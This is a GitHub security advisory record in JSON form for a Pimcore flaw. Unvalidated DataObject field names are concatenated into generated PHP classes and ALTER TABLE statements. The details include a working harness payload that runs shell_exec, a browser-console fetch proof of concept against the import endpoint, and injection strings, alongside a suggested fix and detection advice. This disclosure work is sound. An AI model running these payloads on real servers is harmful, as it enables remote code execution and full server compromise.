[Route(self::ROUTE, name: 'pimcore_studio_api_class_definition_import', methods: ['POST'])] #[IsGranted(UserPermissions::DATA_OBJECTS->value)] // UserPermissions::DATA_OBJECTS = 'objects' public function importClassDefinition(string $id, #[MapUploadedFile] UploadedFile $file): JsonResponse { return $this->jsonResponse( $this->classDefinitionService->importClassDefinitionFromJson($id, $file->getContent()) ); } ```

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.3.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.1.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.1.0"
            },
            {
              "fixed": "2026.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T19:17:42Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Overview\n\nA DataObject **class-definition field name** is concatenated, without an identifier allowlist, into the PHP class source that Pimcore generates for every DataObject class (`protected $\u003cfieldName\u003e;`). A user holding only the ordinary `objects` (DataObjects) permission can import a class definition whose field name closes the property and injects arbitrary PHP into the generated class file, achieving remote code execution on the server. The same unvalidated field name is also concatenated into ALTER TABLE DDL (`ADD COLUMN`/`ADD INDEX`), giving a parallel SQL-injection primitive. This is a sibling of CVE-2026-5394 (composite-index column SQL injection); that fix hardened only the `compositeIndices` sink and left the field-name path untouched.\n\n## Impact\n\nAny authenticated user with the `objects` permission \u2014 the standard permission for content editors who work with DataObjects, not an administrator or a dedicated \"classes\" permission \u2014 can:\n\n1. **Execute arbitrary PHP on the server (RCE).** The injected code runs in the web application\u0027s PHP process when an object of the affected class is loaded (and is re-executed on every load), with full access to the application, its database credentials, secrets, and the host filesystem/OS \u2014 i.e. full server compromise.\n2. **Execute arbitrary ALTER TABLE DDL (SQL injection)** against the DataObject store/query tables (drop columns, add indexes, corrupt schema).\n**Confidence (read with the Reproduction section).** The RCE sink \u2014 the real builder emitting attacker PHP into the generated class body, that class loading, and its `__construct()` executing a shell command \u2014 is **runtime-confirmed in an isolated harness** (see Reproduction \u2192 \"Lab confirmation\"). The remaining links of the end-to-end chain are **reasoned from source but not yet run end-to-end on a live Pimcore**: (a) the Studio import path (`generateLayoutTreeFromArray` \u2192 `save`) preserving the field name without transform/reject; (b) the persistent-field DDL step not aborting the save (addressed by the \u226464-byte gadget); and (c) Pimcore instantiating the object (`new`, e.g. via `DataObject::getById()`) so `__construct()` fires \u2014 autoloading alone executes only top-level class-body code, not the constructor. Treat the RCE as **sink-confirmed + chain-reasoned**, not as a fully-executed live exploit.\n\nBecause the injected PHP executes with the privileges of the PHP runtime (typically the web-server user) and reaches the operating system \u2014 beyond the authority of the Pimcore application account the attacker started from \u2014 the scope is assessed Changed (`S:C`), consistent with Pimcore\u0027s own scoring of the analogous Custom-Reports SQL injection (GHSA-3234-gxc3-pq6f, `AV:N/AC:L/PR:L/UI:R/S:C`, 8.7); the result here is RCE rather than read-only SQLi, yielding **9.9 Critical**. `S:C` is the one debatable metric: a reviewer who scores the impact within the single PHP/OS authority as `S:U` lands at `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = **8.8 High**. The severity floor is therefore High regardless of the scope interpretation.\n\n## Technical Details\n\n### Source \u2192 sink (RCE)\n\nPimcore generates a PHP class file for every DataObject class. The property block is built in `lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php`:\n\n```php // lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:27-32 foreach ($classDefinition-\u003egetFieldDefinitions() as $key =\u003e $def) { if (!$def instanceof ClassDefinition\\Data\\ReverseObjectRelation \u0026\u0026 !$def instanceof ClassDefinition\\Data\\CalculatedValue) { $cd .= \u0027protected $\u0027.$key.\";\\n\";     // $key = field NAME, concatenated raw into PHP source } } ```\n\n`$key` is the field name. The string is assembled into a class body in `lib/DataObject/ClassBuilder/ClassBuilder.php:104-112` (`class \u003cName\u003e extends \u003c...\u003e {\\n` + properties), written to `var/classes/DataObject/\u003cClass\u003e.php`, and autoloaded/included. A field name such as:\n\n``` poc; public function __construct(){ /* attacker PHP */ } private $z ```\n\nproduces a valid class body containing an attacker-defined `__construct()` that executes when an object of the class is loaded.\n\nThat the maintainers know name\u2192PHP-generation requires an identifier allowlist is shown by the sibling **enum-option** generator, which does enforce one:\n\n```php // lib/DataObject/ClassBuilder/SelectOptionsEnumBuilder.php:188 if (!preg_match(\u0027/^[A-Z-a-z_][A-Za-z0-9_]*$/\u0027, $selectOptionName)) { /* reject */ } ```\n\nThe field-name path has no equivalent.\n\n### Parallel SQL-injection sink\n\nThe same field name is concatenated, with backtick **string** quoting (not `quoteIdentifier`), into DDL:\n\n```php // models/DataObject/ClassDefinition/Helper/Dao.php:102 (addModifyColumn \u2014 ADD COLUMN) $this-\u003edb-\u003eexecuteQuery(\u0027ALTER TABLE \u0027 . $table . \u0027 ADD COLUMN \u0027 . $colName . \u0027 \u0027 . $type . ...); // :52/:67 (addIndexToField \u2014 ADD INDEX \u003cprefix\u003e\u003cname\u003e (\u003cname\u003e)) $this-\u003edb-\u003eexecuteQuery(\u0027ALTER TABLE \u0027 . $table . \u0027 ADD \u0027 . $uniqueStr . \u0027INDEX \u0027 . $prefix . $indexName . \u0027 (\u0027 . $columnName . \u0027);\u0027); ```\n\nSource: `models/DataObject/ClassDefinition/Dao.php:228` \u2192 `$this-\u003eaddModifyColumn($objectDatastoreTable, $key, $value-\u003egetColumnType(), \u0027\u0027, \u0027NULL\u0027)`, `$key` = field name. A backtick in the field name breaks out of the quoted identifier.\n\nContrast the patched composite-index sink, now guarded by an allowlist **and** `quoteIdentifier` (`models/DataObject/Traits/CompositeIndexTrait.php`).\n\n### Why validation does not stop it\n\nThe complete field-name validation across the import \u2192 save path:\n\n1. `models/DataObject/ClassDefinition/Service.php:296` (`generateLayoutTreeFromArray`): `preg_match(\u0027/\u003c.+?\u003e/\u0027, $name)` \u2014 rejects only angle-bracket names. Backtick, `;`, `{}`, `()`, quotes, spaces all pass.\n2. 2. `models/DataObject/ClassDefinition/Data.php:1292` (`isForbiddenName()`) \u2014 a reserved-word **denylist** (`in_array(strtolower($name), FORBIDDEN_NAMES)`), no character filtering.\n3. 3. `models/DataObject/ClassDefinition.php:1149` \u2014 validates the **class** name/id only.\nNo allowlist is applied to field names. The Studio UI enforces an identifier pattern client-side; the API does not.\n\n### Reachability / privilege\n\nThe HTTP entry point (`pimcore/studio-backend-bundle`):\n\n```php // src/Class/Controller/DefinitionConfiguration/ImportController.php private const string ROUTE = \u0027/class/definition/configuration-view/detail/{id}/import\u0027;\n\n#[Route(self::ROUTE, name: \u0027pimcore_studio_api_class_definition_import\u0027, methods: [\u0027POST\u0027])] #[IsGranted(UserPermissions::DATA_OBJECTS-\u003evalue)]      // UserPermissions::DATA_OBJECTS = \u0027objects\u0027 public function importClassDefinition(string $id, #[MapUploadedFile] UploadedFile $file): JsonResponse { return $this-\u003ejsonResponse( $this-\u003eclassDefinitionService-\u003eimportClassDefinitionFromJson($id, $file-\u003egetContent()) ); } ```\n\n`importClassDefinitionFromJson` \u2192 `ClassDefinitionRepository::importFromJson` \u2192 model `save()` \u2192 `saveClassInternal()`, which runs the DDL (`getDao()-\u003esave()`) and then the PHP class generation (`generateClassFilesInternal()`). The endpoint requires only the `objects` permission (`PR:L`) and performs no field-name validation of its own. The single authorization gate is the route-level `#[IsGranted(\u0027objects\u0027)]`; a DataObject **class definition** is global schema (not a workspace-scoped element), so no element-/workspace-level secondary authorization applies to the import \u2014 `objects` alone reaches the sink, which is what anchors `PR:L`. This is the same import endpoint used in the CVE-2026-5394 PoC.\n\n### Execution order\n\nIn `saveClassInternal()`: field denylist check \u2192 class-name regex \u2192 `getDao()-\u003esave()` (DDL sink fires) \u2192 `generateClassFilesInternal()` (PHP-gen sink fires). The SQLi triggers first; the RCE payload either uses a non-persistent field type (no `ADD COLUMN`) or a \u226464-byte DDL-valid name so the DDL step does not abort before PHP generation.\n\n## Reproduction\n\n### Lab confirmation of the RCE sink (runtime, verified)\n\nUsing the **unmodified** `FieldDefinitionPropertiesBuilder` source driven by a minimal `ClassDefinition` whose single field name is a PHP payload (full harness in the attached `rce_harness.php`):\n\n```php $maliciousName = \u0027pwn; public function __construct(){ echo \"INJECTED-RCE-RAN: \".trim(shell_exec(\"id\")); } private $z\u0027; $cd = new ClassDefinition([$maliciousName =\u003e new \\stdClass()], \u0027PwnDemo\u0027, \u002799\u0027); $props = (new FieldDefinitionPropertiesBuilder())-\u003ebuildProperties($cd); file_put_contents(\u0027/tmp/PwnDemo.php\u0027, \"\u003c?php\\nclass PwnDemo {\\n\".$props.\"}\\n\"); require \u0027/tmp/PwnDemo.php\u0027; new \\PwnDemo(); ```\n\nObserved (`php:8.3-cli`):\n\n```text === generated properties block (real builder output) === protected $classId = \"99\"; protected $className = \"PwnDemo\"; protected $pwn; public function __construct(){ echo \"INJECTED-RCE-RAN: \".trim(shell_exec(\"id\")); } private $z; INJECTED-RCE-RAN: uid=0(root) gid=0(root) groups=0(root) ```\n\nThe real builder emitted a class body containing the attacker\u0027s `__construct()`, and loading the class executed the injected command.\n\n### End-to-end PoC (browser console, against the Studio API)\n\n```js // Run in the browser DevTools console of an authenticated Pimcore Studio session // held by a user with the ordinary \"objects\" (DataObjects) permission. // NON-DESTRUCTIVE marker payload: writes a sentinel file.\n\nconst CLASS_ID = \"REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID\";\n\nconst fieldName = \u0027x;function __construct(){touch(\"/tmp/pimcore_rce_poc\");}//\u0027;\n\nconst def = { layoutDefinitions: { name: \"pimcore_root\", fieldtype: \"panel\", datatype: \"layout\", children: [ { name: fieldName, fieldtype: \"input\", datatype: \"data\", title: \"poc\" } ] } };\n\nconst fd = new FormData(); fd.append(\"file\", new Blob([JSON.stringify(def)], { type: \"application/json\" }), \"import.json\");\n\nfetch(`/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import`, { method: \"POST\", credentials: \"include\", body: fd, }).then(r =\u003e r.json()).then(console.log); ```\n\nSteps:\n\n1. As a user with only the `objects` permission, create/own a throwaway DataObject class and note its id (`CLASS_ID`).\n2. 2. Open DevTools \u2192 Console and run the snippet above. Expected: a success JSON for the import (the class is regenerated).\n3. 3. Load any object of that class (open it in Studio, or request it) to autoload the regenerated `var/classes/DataObject/\u003cClass\u003e.php`.\n4. 4. Confirm `/tmp/pimcore_rce_poc` was created on the server \u2014 proving the field name executed as PHP.\n## Q0a / Q0b\n\n- **Q0a** (vendor accepted-risk): not by-design. The sibling enum-option generator enforces an identifier allowlist (`SelectOptionsEnumBuilder.php:188` `/^[A-Z-a-z_][A-Za-z0-9_]*$/`) and the composite-index fix added one \u2014 the field-name path simply lacks the equivalent. Source-verified: the only import-path field-name check is `Service.php:297` `preg_match(\u0027/\u003c.+?\u003e/\u0027, $name)` (angle-brackets only; `;{}()`, spaces, backtick all pass), and `FieldDefinitionPropertiesBuilder.php:30` concatenates the raw `$key` into `protected $\u003cname\u003e;`. No upstream allowlist gate exists. PASS.\n- **Q0b** (venue-routed dedup; venue = github-security-advisory): sibling/incomplete-coverage of CVE-2026-5394 / GHSA-r2f4-ff2p-xc64 (DataObject **composite-index** SQL injection), whose fix hardened only `CompositeIndexTrait`. The **field-name** \u2192 PHP-codegen RCE (`FieldDefinitionPropertiesBuilder`) and the field-name \u2192 ALTER TABLE DDL (`Helper/Dao.php`) are distinct, unfixed sinks. Not covered by GHSA-3234 (Custom Reports SQLi, different feature). Not a duplicate. CLEAR.\n- **Secondary sink noted:** `Service.php:517` also concatenates the raw field name into a generated PHP string literal (`public const FIELD_... = \u0027\u003cname\u003e\u0027;`) \u2014 a second codegen-injection point (string-literal breakout via `\u0027`), same root cause; the allowlist fix closes both.\n## Suggested Fix\n\nApply an identifier allowlist to field names at the model boundary, identical in spirit to the enum-option guard and the composite-index fix. In `models/DataObject/ClassDefinition/Data.php` (e.g. in `setName()` or a central validity check invoked from `saveClassInternal()`), reject any name not matching `/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/`:\n\n```php // 63-char cap keeps the name within MySQL\u0027s 64-byte identifier limit (1 leading letter + \u226462). if (!preg_match(\u0027/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/\u0027, $name)) { throw new \\InvalidArgumentException(sprintf(\u0027Invalid field name: %s\u0027, $name)); } ```\n\nAdditionally, defense-in-depth: use `quoteIdentifier()` for `$colName`/`$indexName` in `models/DataObject/ClassDefinition/Helper/Dao.php`, and never interpolate identifiers into generated PHP without allowlisting. Enforce the same check in the Studio import controller/service so client-side-only validation cannot be bypassed via the API.\n\n**Privilege-model fix (root cause, separate from the input filter).** A class-definition import changes the database schema and generates server-side PHP, yet it is gated only by the content-editor `objects` permission. Gate class-definition import/save behind a dedicated administrative permission (or `admin`), distinct from `objects`.\n\n**Operator-side detection / mitigation (deployable today, before a patch):**\n\n- **Detection:** File Integrity Monitoring on `var/classes/DataObject/*.php` \u2014 alert on unexpected changes, and specifically on the appearance of `function`/`__construct(` tokens in a generated class body. Raise the class-definition-import audit event to a high-priority alert. Flag any non-admin POST to `.../class/definition/configuration-view/detail/*/import`.\n- - **Interim mitigation:** restrict the import endpoint to administrators via a custom security voter; or disable class-definition import in production; or add a WAF rule limiting POST `.../class/definition/configuration-view/detail/*/import` to trusted operators.\n### Additional codegen-injection sinks sharing this root cause\n\nThe same \"unvalidated identifier \u2192 generated PHP\" pattern exists at **other identifier boundaries**:\n\n- **Class NAME \u2192 `ClassBuilder.php:104`**: `\u0027class \u0027.ucfirst($classDefinition-\u003egetName()).\u0027 extends \u0027...`. The only gate is `ClassDefinition.php:1149` `preg_match(\u0027/^[a-zA-Z]\\w+/\u0027, getName())` \u2014 **missing the `$` end-anchor**, so `Foo){};\u003cphp\u003e` passes the prefix match.\n- - **FieldCollection / ObjectBrick KEY \u2192 `FieldCollectionClassBuilder.php:58`** (`\u0027class \u0027.ucfirst($definition-\u003egetKey()).\u0027 extends \u0027`) and the objectbrick equivalent \u2014 reached via their own import endpoints.\n**Exploitability caveat:** unlike the runtime-confirmed field-name vector, the class-name vector is **NOT independently confirmed as RCE** and has a structural blocker. The class name determines the generated file\u0027s path, and PHPClassDumper writes the file but does not include it \u2014 the generated class is executed only when the autoloader maps a clean class reference. The field-name vector is reliable precisely because it keeps the filename clean. The class-name/key sinks are therefore reported here as **fix-completeness / defense-in-depth** (anchor the regex), not as a second confirmed RCE.\n\n## Disclosure Timeline\n\n- 2026-05-29: Discovered (sibling sweep of CVE-2026-5394); RCE sink runtime-confirmed in a lab harness using the unmodified builder source.\n- - (Reported to vendor: to be filled on submission via GitHub Security Advisory.)",
  "id": "GHSA-9x44-4gxf-8c25",
  "modified": "2026-08-28T19:17:42Z",
  "published": "2026-08-28T19:17:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-9x44-4gxf-8c25"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/pull/19183"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/commit/a4f8c3cfee58b7d5fe4873d67782eff58dae9b9d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pimcore/pimcore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/releases/tag/v2026.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name"
}